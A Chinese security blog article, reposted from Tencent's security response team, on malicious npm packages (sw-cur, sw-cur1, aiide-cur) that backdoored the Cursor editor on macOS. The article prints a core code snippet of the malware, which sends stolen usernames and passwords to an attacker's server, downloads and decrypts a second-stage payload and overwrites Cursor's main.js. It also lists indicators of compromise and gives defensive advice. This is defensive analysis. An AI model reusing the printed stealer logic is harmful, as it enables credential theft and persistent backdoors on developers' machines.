当黑客用自媒体传播恶意软件——程序员如何自救?

admin 2025年5月17日03:52:49评论24 views字数 3325阅读11分5秒阅读模式

我们是专注AI编程安全的啄木鸟团队。最近,全球有数千名开发者在不知情的情况下,跟随短视频教程,一步一步的成为了黑客的“傀儡木偶”……

1

深夜的羊毛——小鹅的魔幻一夜

   凌晨三点,程序员小鹅在社交媒体上发现了一个“神器” —— 号称能用全网最低价调用 Cursor 的API。他跟着教程随手敲下 “npm install sw-cur” ,却没想到,这个“薅羊毛工具”竟让他的代码编辑器开始“自己动笔”:窃取用户凭证、篡改Cursor核心文件、下载恶意木马部署持久化后门,甚至向项目代码库里塞入一串神秘字符……

   这不是小鹅的幻觉,而是最近真实发生的npm供应链投毒事件。某恶意黑客通过三个伪装成“全网最低价使用AI工具”的恶意软件包,已让4200多名开发者的 AI编辑器沦为“提线木偶”。截止发文,npm 官方已移除恶意包,但恶意攻击网站仍然活跃。

当黑客用自媒体传播恶意软件——程序员如何自救?

(数据来源:npm-stat,近三月恶意软件包下载量)

2

黑客的木偶戏——我的编辑器为何叛变?

   恶意黑客的操作堪比“间谍剧本”,攻击者通过伪装成“超低价API”工具,诱使程序员安装恶意软件。这些软件在不知不觉中,窃取了开发者的登录凭证,甚至篡改了他们的代码,植入了后门。逐步把开发者工具变成恶意黑客的“肉鸡”。

钓鱼执法——「免费、全网最便宜」的诱饵

  • 该恶意攻击者自去年以来,瞄准了程序员“能省则省”的心态,在多个短视频平台发布“免费使用Cursor” 等教程,通过短视频网站引流,快速吸粉目标群体。

当黑客用自媒体传播恶意软件——程序员如何自救?
当黑客用自媒体传播恶意软件——程序员如何自救?

(图:恶意攻击者在多个短视频平台的引流页面)

  • 之后,攻击者在 npm 页面中依然号称提供“全网最便宜的 Cursor API 服务”(实际 Cursor 官方调用按次收费,每次调用ChatGPT-o3模型需要0.3美元),诱导程序员下载安装。以最便宜的承诺吸引用户,同时悄悄在软件包中部署后门。

    当黑客用自媒体传播恶意软件——程序员如何自救?

(图:发布恶意 npm 软件包的作者,利用“全网最便宜”的噱头诱导下载)

傀儡附身——Cursor秒变「双面间谍」

此次攻击专门针对 MacOS 系统中的 Cursor 应用程序,当安装命令执行时,sw-cur、sw-cur1和aiide-cur软件包中的恶意脚本会执行一系列操作,就像潜伏在黑暗中的幽灵,恶意软件悄无声息地闯入了开发者的电脑,悄悄植入了一个隐藏的后门,随时等待黑客的命令。

当黑客用自媒体传播恶意软件——程序员如何自救?

(图:恶意软件包执行流程图)

1.  用户凭证收割:自动捕获用户输入的 Cursor 账号密码,URL编码后通过 GET 请求发送至攻击者服务器。

  • sw-cur/sw-cur1:

    发送至cursor[.]sw2031[.]com/api/login

  • aiide-cur:

    发送至 aiide[.]xyz/api/login

    当黑客用自媒体传播恶意软件——程序员如何自救?

(图:一个看似无害的登录网站,实则为攻击者控制的恶意服务器)

2.  加载恶意木马:从攻击者控制的服务器下载AES加密 + GZIP压缩的恶意代码

  • sw-cur:源地址 t[.]sw2031[.]com

  • aiide-cur:源地址 api[.]aiide[.]xyz

当黑客用自媒体传播恶意软件——程序员如何自救?

(图:该恶意攻击者所使用域名的关联公司)

3.  解密密钥:统一使用硬编码的32字节密钥

a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4

4.  文件备份:在篡改前自动备份原始文件 main.js → main.js.bak

5.  代码注入:将窃取的凭证写入恶意载荷,覆盖以下关键路径:

/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist/main.js

6.  持久化操作:

  • 禁用自动更新:阻止用户通过官方渠道修复

  • 强制重启应用:确保恶意代码立即生效

下面为部分核心代码片段,三个变体共有的后门逻辑。除了部分域名最终调用有所不同以外,凭证泄露、加密下载木马、解密木马和文件序列均完全相同。

// 1. 将窃取的凭据发送至C2服务器(cursor[.]sw2031[.]com)// T_T 偷完密码还要给黑客发个「到货通知」const url = `${webHost}/api/login?username=${u}&password=${p}&t=${Date.now()}`;await httpRequest('GET', url);// 2. 下载并解密第二阶段有效负载const res = await httpRequest('GET'`${apiHost}/j?t=${Date.now()}`);const buf = Buffer.from(JSON.parse(res).data'base64');const stage2 = await gunzip(await aesDecrypt(buf, hardCodedKey));// 3. 覆盖Cursor的main.js并禁用更新const target = '/Applications/Cursor.app/Contents/Resources/app/extensions/cursor-always-local/dist/main.js';fs.copyFileSync(target, `${target}.bak`); // 创建备份fs.writeFileSync(target, stage2.toString() // 注入后门.replace('test:123456'`${u}:${p}`));disableAutoUpdate(); // 禁用自动更新

3

程序员自救指南——别当黑客的「免费劳动力」

防毒三件套

1.  「验毒银针」:用 npm audit 或 Socket 扫描器(GitHub 神器)给代码做 CT 扫描;

2.  「AI 门卫」:安装 IDE 插件实时监控“谁在偷翻你的代码日记”。

3.  「断舍离」:非必要不乱装来路不明的包,就像不点陌生链接(少薅羊毛保平安)。

中招急救包

1.  立刻断网!防止黑客继续“远程抄家”;

2.  从官方渠道重装 Cursor,别轻信任何“绿色破解版”;

3.  把电脑上存过的密码全改了,尤其是GitHub、大模型服务和云服务密钥等,尽最大可能降低损失。

写在最后

恶意攻击者总是潜伏在看似无害的地方。作为开发者,我们不仅要对代码负责,更要对代码的安全负责。下次当你看到薅羊毛的 npm install 时,不妨多问一句:

“这行代码,究竟是我的助手,还是黑客的卧底?”

(虽然 npm 官方已移除恶意包,但安全意识应常伴,别让下个“小鹅”变成你!)

附录:

恶意 IOC:

「恶意 npm 软件包」

  • sw‑cur:https://socket.dev/npm/package/sw-cur/overview/2.6.0

  • sw‑cur1:https://socket.dev/npm/package/sw-cur1/overview/1.4.0

  • aiide‑cur:https://socket.dev/npm/package/aiide-cur/overview/1.9.2

「恶意攻击者标识」

  • gtr2018 — npm 别名

  • aiide — npm 别名

  • 404228858@qq[.]com — 电子邮件地址

  • touzi_xiansheng@outlook[.]com — 电子邮件地址

「恶意 C2 服务器」

  • cursor[.]sw2031[.]com

  • cursor[.]sw2031[.]com/api/login

  • t[.]sw2031[.]com

  • aiide[.]xyz/api/login

  • aiide[.]xyz

「AES 解密密钥」

  • a8f2e9c4b7d6m3k5n1p0q9r8s7t6u5v4

参考文章:

https://socket.dev/blog/malicious-npm-packages-hijack-cursor-editor-on-macos

npm-stat: download statistics for NPM packages

Malicious npm Packages Infect 3,200+ Cursor Users With Backd... - vulnerability database | Vulners.com

原文始发于微信公众号(腾讯安全应急响应中心):当黑客用自媒体传播恶意软件——程序员如何自救?

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月17日03:52:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   当黑客用自媒体传播恶意软件——程序员如何自救?https://cn-sec.com/archives/4073509.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息